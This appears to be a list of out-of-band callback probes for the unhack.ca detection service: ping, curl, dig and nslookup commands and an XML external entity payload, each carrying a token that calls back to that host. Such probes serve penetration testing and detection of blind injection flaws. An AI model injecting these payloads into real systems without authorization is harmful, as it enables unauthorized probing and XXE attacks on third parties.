$ ping -c1 -p 00c6b969fd2d4714c7bff988b0bc1f00 unhack.ca
 

$ curl http://unhack.ca/p/c6b969fd2d4714c7bff988b0bc1f
 

$ dig c6b969fd2d4714c7bff988b0bc1f @unhack.ca
 

$ dig c6b969fd2d4714c7bff988b0bc1f.ns.unhack.ca
 

C:\> nslookup c6b969fd2d4714c7bff988b0bc1f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c6b969fd2d4714c7bff988b0bc1f">]>
    <foo>&xxe;</foo>